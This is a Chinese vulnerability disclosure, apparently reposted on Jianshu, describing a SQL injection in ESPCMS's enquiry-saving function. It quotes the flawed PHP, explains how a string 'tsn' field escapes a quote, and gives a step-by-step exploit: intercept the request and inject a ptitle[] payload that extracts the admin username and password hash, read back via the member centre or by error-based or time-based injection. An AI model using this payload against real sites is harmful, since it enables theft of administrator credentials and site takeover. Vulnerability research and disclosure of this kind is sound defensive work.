ESPCMS SQL注入

  1. 发布时间:2016-08-09
  2. 公开时间:N/A
  3. 漏洞类型:SQL注入
  4. 危害等级:高
  5. 漏洞编号:xianzhi-2016-08-37542369
  6. 测试版本:N/A

漏洞详情

interface\special.php 行134起

function in_enquirysave() {
……省略部分代码……
        $content = trim($this->fun->accept('content', 'P', true, true));
        $content = $this->fun->substr($content, 500);
        $amount = $this->fun->accept('amount', 'P');
        $ptitle = $this->fun->accept('ptitle', 'P');
        $tsn = $this->fun->accept('tsn', 'P');
……省略部分代码……
                foreach ($did as $key => $value) {
            $value = intval($value);
            $amount[$key] = intval($amount[$key]);
            if ($key == $arraycount) {
                $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')";
            } else {
                $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),";
            }
        }

$tsn来自$_POST 这里没有判断$tsn是否是一个数组就直接在sql语句中使用了$tsn[$key]
当$tsn是字符串的时候 $tsn[$key]其实取的就是字符串的第$key个字符
当第一次foreach的时候 $did是一个一维数组 $key的值就是0 $tsn[$key]取的就是$tsn的第一个字符
如果我们提交$_POST['tsn']=' 转义后 $tsn="\'" $tsn[0]就变成了"\" 于是sql语句中的单引号就成功被转义了,$ptitle可控 所以造成了注入
网站开放注册会员的前提下 可以直接将注入结果写入title字段在会员中心读取。
网站关闭注册会员的话,也可以直接报错注入或者延时注入。
演示如下
首先随便选一个商品 点击询价 内容随便写 提交的时候抓包拦下来
将tsn字段修改为' 或者\ (任意可被转义的字符)
ptitle[]字段修改为注入代码
,(select concat(username,0x3a,password) from espcms_admin_member limit 1),1,2)#

view1.png

进入会员中心-》询价列表即可查看注入结果
view.png

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Web安全简史 在Web1.0时代,人们更多是关注服务器端动态脚本语言的安全问题,比如将一个可执行脚本(俗称Web...
    潘良虎阅读 3,959评论 3 72
  • 昨夜做了一个梦,梦里我又回到了小时候,回到了我童年生活的小山村。时隔多年,家乡旧貌换新颜,而我看到的却是家乡90年...
    RenyuJia阅读 415评论 0 0
  • 请准备好接收来自百日营的能量传递吧 拥抱日:心理学上有个名词叫“皮肤饥饿”,意思是有些人小时候得到母亲的拥抱太少,...
    小眼睛喵阅读 125评论 0 0
  • 这个世界,究竟是什么样的呢? 我周围没有人能说出个所以然来,他们也从未思考过这个问题。 正...
    唐流雨Z阅读 298评论 0 0
  • 二十八 ,。你能控制住。
    44494bec5d7e阅读 239评论 0 1